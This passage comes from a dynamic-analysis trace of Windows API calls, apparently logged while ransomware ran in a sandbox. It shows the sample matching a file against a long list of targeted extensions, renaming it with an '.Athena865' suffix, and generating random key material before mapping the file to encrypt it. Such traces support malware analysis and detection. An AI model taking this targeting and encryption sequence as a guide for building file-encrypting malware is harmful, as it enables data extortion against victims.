(lpString="Everywhere.search-ms") returned 20 [0053.960] lstrcpyW (in: lpString1=0x241e89e, lpString2="Everywhere.search-ms" | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms" [0053.960] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Default\\Searches\\Everywhere.search-ms", dwFileAttributes=0x22) returned 1 [0053.961] lstrlenW (lpString="Everywhere.search-ms") returned 20 [0053.961] lstrlenW (lpString="Athena865") returned 9 [0053.961] lstrcmpiW (lpString1="search-ms", lpString2="Athena865") returned 1 [0053.961] lstrlenW (lpString=".dll") returned 4 [0053.961] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".dll") returned 1 [0053.961] lstrlenW (lpString=".lnk") returned 4 [0053.961] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".lnk") returned 1 [0053.961] lstrlenW (lpString=".ini") returned 4 [0053.961] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".ini") returned 1 [0053.961] lstrlenW (lpString=".sys") returned 4 [0053.961] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".sys") returned 1 [0053.961] lstrlenW (lpString="Everywhere.search-ms") returned 20 [0053.961] lstrlenW (lpString="bak") returned 3 [0053.961] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0053.961] lstrlenW (lpString="ba_") returned 3 [0053.961] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0053.962] lstrlenW (lpString="dbb") returned 3 [0053.962] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0053.962] lstrlenW (lpString="vmdk") returned 4 [0053.962] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1 [0053.962] lstrlenW (lpString="rar") returned 3 [0053.962] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0053.962] lstrlenW (lpString="zip") returned 3 [0053.962] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0053.962] lstrlenW (lpString="tgz") returned 3 [0053.962] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0053.962] lstrlenW (lpString="vbox") returned 4 [0053.962] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1 [0053.962] lstrlenW (lpString="vdi") returned 3 [0053.962] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0053.962] lstrlenW (lpString="vhd") returned 3 [0053.962] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0053.962] lstrlenW (lpString="vhdx") returned 4 [0053.962] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1 [0053.962] lstrlenW (lpString="avhd") returned 4 [0053.962] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1 [0053.962] lstrlenW (lpString="db") returned 2 [0053.962] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0053.962] lstrlenW (lpString="db2") returned 3 [0053.962] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0053.962] lstrlenW (lpString="db3") returned 3 [0053.962] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0053.963] lstrlenW (lpString="dbf") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0053.963] lstrlenW (lpString="mdf") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0053.963] lstrlenW (lpString="mdb") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0053.963] lstrlenW (lpString="sql") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0053.963] lstrlenW (lpString="sqlite") returned 6 [0053.963] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1 [0053.963] lstrlenW (lpString="sqlite3") returned 7 [0053.963] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1 [0053.963] lstrlenW (lpString="sqlitedb") returned 8 [0053.963] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1 [0053.963] lstrlenW (lpString="xml") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0053.963] lstrlenW (lpString="$er") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0053.963] lstrlenW (lpString="4dd") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0053.963] lstrlenW (lpString="4dl") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0053.963] lstrlenW (lpString="^^^") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0053.963] lstrlenW (lpString="abs") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0053.963] lstrlenW (lpString="abx") returned 3 [0053.963] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0053.963] lstrlenW (lpString="accdb") returned 5 [0053.963] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1 [0053.963] lstrlenW (lpString="accdc") returned 5 [0053.963] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1 [0053.963] lstrlenW (lpString="accde") returned 5 [0053.964] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1 [0053.964] lstrlenW (lpString="accdr") returned 5 [0053.964] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1 [0053.964] lstrlenW (lpString="accdt") returned 5 [0053.964] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1 [0053.964] lstrlenW (lpString="accdw") returned 5 [0053.964] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1 [0053.964] lstrlenW (lpString="accft") returned 5 [0053.964] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1 [0053.964] lstrlenW (lpString="adb") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0053.964] lstrlenW (lpString="adb") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0053.964] lstrlenW (lpString="ade") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0053.964] lstrlenW (lpString="adf") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0053.964] lstrlenW (lpString="adn") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0053.964] lstrlenW (lpString="adp") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0053.964] lstrlenW (lpString="alf") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0053.964] lstrlenW (lpString="ask") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0053.964] lstrlenW (lpString="btr") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0053.964] lstrlenW (lpString="cat") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0053.964] lstrlenW (lpString="cdb") returned 3 [0053.964] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0053.964] lstrlenW (lpString="ckp") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0053.965] lstrlenW (lpString="cma") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0053.965] lstrlenW (lpString="cpd") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0053.965] lstrlenW (lpString="dacpac") returned 6 [0053.965] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1 [0053.965] lstrlenW (lpString="dad") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0053.965] lstrlenW (lpString="dadiagrams") returned 10 [0053.965] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1 [0053.965] lstrlenW (lpString="daschema") returned 8 [0053.965] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1 [0053.965] lstrlenW (lpString="db-journal") returned 10 [0053.965] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1 [0053.965] lstrlenW (lpString="db-shm") returned 6 [0053.965] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1 [0053.965] lstrlenW (lpString="db-wal") returned 6 [0053.965] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1 [0053.965] lstrlenW (lpString="dbc") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0053.965] lstrlenW (lpString="dbs") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0053.965] lstrlenW (lpString="dbt") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0053.965] lstrlenW (lpString="dbv") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0053.965] lstrlenW (lpString="dbx") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0053.965] lstrlenW (lpString="dcb") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0053.965] lstrlenW (lpString="dct") returned 3 [0053.965] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0053.966] lstrlenW (lpString="dcx") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1 [0053.966] lstrlenW (lpString="ddl") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1 [0053.966] lstrlenW (lpString="dlis") returned 4 [0053.966] lstrcmpiW (lpString1="h-ms", lpString2="dlis") returned 1 [0053.966] lstrlenW (lpString="dp1") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1 [0053.966] lstrlenW (lpString="dqy") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1 [0053.966] lstrlenW (lpString="dsk") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1 [0053.966] lstrlenW (lpString="dsn") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1 [0053.966] lstrlenW (lpString="dtsx") returned 4 [0053.966] lstrcmpiW (lpString1="h-ms", lpString2="dtsx") returned 1 [0053.966] lstrlenW (lpString="dxl") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1 [0053.966] lstrlenW (lpString="eco") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1 [0053.966] lstrlenW (lpString="ecx") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1 [0053.966] lstrlenW (lpString="edb") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1 [0053.966] lstrlenW (lpString="epim") returned 4 [0053.966] lstrcmpiW (lpString1="h-ms", lpString2="epim") returned 1 [0053.966] lstrlenW (lpString="fcd") returned 3 [0053.966] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1 [0053.966] lstrlenW (lpString="fdb") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1 [0053.967] lstrlenW (lpString="fic") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1 [0053.967] lstrlenW (lpString="flexolibrary") returned 12 [0053.967] lstrcmpiW (lpString1="re.search-ms", lpString2="flexolibrary") returned 1 [0053.967] lstrlenW (lpString="fm5") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1 [0053.967] lstrlenW (lpString="fmp") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1 [0053.967] lstrlenW (lpString="fmp12") returned 5 [0053.967] lstrcmpiW (lpString1="ch-ms", lpString2="fmp12") returned -1 [0053.967] lstrlenW (lpString="fmpsl") returned 5 [0053.967] lstrcmpiW (lpString1="ch-ms", lpString2="fmpsl") returned -1 [0053.967] lstrlenW (lpString="fol") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1 [0053.967] lstrlenW (lpString="fp3") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1 [0053.967] lstrlenW (lpString="fp4") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1 [0053.967] lstrlenW (lpString="fp5") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1 [0053.967] lstrlenW (lpString="fp7") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1 [0053.967] lstrlenW (lpString="fpt") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1 [0053.967] lstrlenW (lpString="frm") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1 [0053.967] lstrlenW (lpString="gdb") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0053.967] lstrlenW (lpString="gdb") returned 3 [0053.967] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0053.967] lstrlenW (lpString="grdb") returned 4 [0053.968] lstrcmpiW (lpString1="h-ms", lpString2="grdb") returned 1 [0053.968] lstrlenW (lpString="gwi") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1 [0053.968] lstrlenW (lpString="hdb") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1 [0053.968] lstrlenW (lpString="his") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1 [0053.968] lstrlenW (lpString="ib") returned 2 [0053.968] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1 [0053.968] lstrlenW (lpString="idb") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1 [0053.968] lstrlenW (lpString="ihx") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1 [0053.968] lstrlenW (lpString="itdb") returned 4 [0053.968] lstrcmpiW (lpString1="h-ms", lpString2="itdb") returned -1 [0053.968] lstrlenW (lpString="itw") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1 [0053.968] lstrlenW (lpString="jet") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1 [0053.968] lstrlenW (lpString="jtx") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1 [0053.968] lstrlenW (lpString="kdb") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1 [0053.968] lstrlenW (lpString="kexi") returned 4 [0053.968] lstrcmpiW (lpString1="h-ms", lpString2="kexi") returned -1 [0053.968] lstrlenW (lpString="kexic") returned 5 [0053.968] lstrcmpiW (lpString1="ch-ms", lpString2="kexic") returned -1 [0053.968] lstrlenW (lpString="kexis") returned 5 [0053.968] lstrcmpiW (lpString1="ch-ms", lpString2="kexis") returned -1 [0053.968] lstrlenW (lpString="lgc") returned 3 [0053.968] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1 [0053.968] lstrlenW (lpString="lwx") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1 [0053.969] lstrlenW (lpString="maf") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1 [0053.969] lstrlenW (lpString="maq") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1 [0053.969] lstrlenW (lpString="mar") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1 [0053.969] lstrlenW (lpString="marshal") returned 7 [0053.969] lstrcmpiW (lpString1="arch-ms", lpString2="marshal") returned -1 [0053.969] lstrlenW (lpString="mas") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1 [0053.969] lstrlenW (lpString="mav") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1 [0053.969] lstrlenW (lpString="maw") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1 [0053.969] lstrlenW (lpString="mdbhtml") returned 7 [0053.969] lstrcmpiW (lpString1="arch-ms", lpString2="mdbhtml") returned -1 [0053.969] lstrlenW (lpString="mdn") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1 [0053.969] lstrlenW (lpString="mdt") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1 [0053.969] lstrlenW (lpString="mfd") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1 [0053.969] lstrlenW (lpString="mpd") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1 [0053.969] lstrlenW (lpString="mrg") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1 [0053.969] lstrlenW (lpString="mud") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1 [0053.969] lstrlenW (lpString="mwb") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1 [0053.969] lstrlenW (lpString="myd") returned 3 [0053.969] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1 [0053.970] lstrlenW (lpString="ndf") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1 [0053.970] lstrlenW (lpString="nnt") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1 [0053.970] lstrlenW (lpString="nrmlib") returned 6 [0053.970] lstrcmpiW (lpString1="rch-ms", lpString2="nrmlib") returned 1 [0053.970] lstrlenW (lpString="ns2") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1 [0053.970] lstrlenW (lpString="ns3") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1 [0053.970] lstrlenW (lpString="ns4") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1 [0053.970] lstrlenW (lpString="nsf") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1 [0053.970] lstrlenW (lpString="nv") returned 2 [0053.970] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1 [0053.970] lstrlenW (lpString="nv2") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1 [0053.970] lstrlenW (lpString="nwdb") returned 4 [0053.970] lstrcmpiW (lpString1="h-ms", lpString2="nwdb") returned -1 [0053.970] lstrlenW (lpString="nyf") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1 [0053.970] lstrlenW (lpString="odb") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0053.970] lstrlenW (lpString="odb") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0053.970] lstrlenW (lpString="oqy") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1 [0053.970] lstrlenW (lpString="ora") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1 [0053.970] lstrlenW (lpString="orx") returned 3 [0053.970] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1 [0053.970] lstrlenW (lpString="owc") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1 [0053.971] lstrlenW (lpString="p96") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1 [0053.971] lstrlenW (lpString="p97") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1 [0053.971] lstrlenW (lpString="pan") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1 [0053.971] lstrlenW (lpString="pdb") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1 [0053.971] lstrlenW (lpString="pdm") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1 [0053.971] lstrlenW (lpString="pnz") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1 [0053.971] lstrlenW (lpString="qry") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1 [0053.971] lstrlenW (lpString="qvd") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1 [0053.971] lstrlenW (lpString="rbf") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1 [0053.971] lstrlenW (lpString="rctd") returned 4 [0053.971] lstrcmpiW (lpString1="h-ms", lpString2="rctd") returned -1 [0053.971] lstrlenW (lpString="rod") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1 [0053.971] lstrlenW (lpString="rodx") returned 4 [0053.971] lstrcmpiW (lpString1="h-ms", lpString2="rodx") returned -1 [0053.971] lstrlenW (lpString="rpd") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1 [0053.971] lstrlenW (lpString="rsd") returned 3 [0053.971] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1 [0053.971] lstrlenW (lpString="sas7bdat") returned 8 [0053.971] lstrcmpiW (lpString1="earch-ms", lpString2="sas7bdat") returned -1 [0053.971] lstrlenW (lpString="sbf") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1 [0053.972] lstrlenW (lpString="scx") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1 [0053.972] lstrlenW (lpString="sdb") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1 [0053.972] lstrlenW (lpString="sdc") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1 [0053.972] lstrlenW (lpString="sdf") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1 [0053.972] lstrlenW (lpString="sis") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1 [0053.972] lstrlenW (lpString="spq") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1 [0053.972] lstrlenW (lpString="te") returned 2 [0053.972] lstrcmpiW (lpString1="ms", lpString2="te") returned -1 [0053.972] lstrlenW (lpString="teacher") returned 7 [0053.972] lstrcmpiW (lpString1="arch-ms", lpString2="teacher") returned -1 [0053.972] lstrlenW (lpString="tmd") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1 [0053.972] lstrlenW (lpString="tps") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1 [0053.972] lstrlenW (lpString="trc") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0053.972] lstrlenW (lpString="trc") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0053.972] lstrlenW (lpString="trm") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1 [0053.972] lstrlenW (lpString="udb") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1 [0053.972] lstrlenW (lpString="udl") returned 3 [0053.972] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1 [0053.972] lstrlenW (lpString="usr") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1 [0053.973] lstrlenW (lpString="v12") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1 [0053.973] lstrlenW (lpString="vis") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1 [0053.973] lstrlenW (lpString="vpd") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1 [0053.973] lstrlenW (lpString="vvv") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1 [0053.973] lstrlenW (lpString="wdb") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1 [0053.973] lstrlenW (lpString="wmdb") returned 4 [0053.973] lstrcmpiW (lpString1="h-ms", lpString2="wmdb") returned -1 [0053.973] lstrlenW (lpString="wrk") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1 [0053.973] lstrlenW (lpString="xdb") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1 [0053.973] lstrlenW (lpString="xld") returned 3 [0053.973] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1 [0053.973] lstrlenW (lpString="xmlff") returned 5 [0053.973] lstrcmpiW (lpString1="ch-ms", lpString2="xmlff") returned -1 [0053.973] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Default\\Searches\\Everywhere.search-ms.Athena865") returned 73 [0053.973] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\documents and settings\\default\\searches\\everywhere.search-ms"), lpNewFileName="C:\\Documents and Settings\\Default\\Searches\\Everywhere.search-ms.Athena865" (normalized: "c:\\documents and settings\\default\\searches\\everywhere.search-ms.athena865"), dwFlags=0x1) returned 1 [0053.974] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Searches\\Everywhere.search-ms.Athena865" (normalized: "c:\\documents and settings\\default\\searches\\everywhere.search-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.974] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=248) returned 1 [0053.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52db88 [0053.974] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519a20 [0053.974] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519aa8) returned 1 [0053.975] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.975] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.976] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400, lpName=0x0) returned 0x17c [0053.977] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x400) returned 0x100000 [0053.978] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519aa8) returned 1 [0053.979] CryptGenRandom (in: hProv=0x519aa8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.979] CryptReleaseContext (hProv=0x519aa8, dwFlags=0x0) returned 1 [0053.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dc00 [0053.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dc00 | out: hHeap=0x4f0000) returned 1 [0053.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0053.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0053.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0053.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.980] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.980] CloseHandle (hObject=0x17c) returned 1 [0053.980] CloseHandle (hObject=0x154) returned 1 [0053.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52db88 | out: hHeap=0x4f0000) returned 1 [0053.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519a20 | out: hHeap=0x4f0000) returned 1 [0053.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.980] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd1c9ba0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd1c9ba0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, 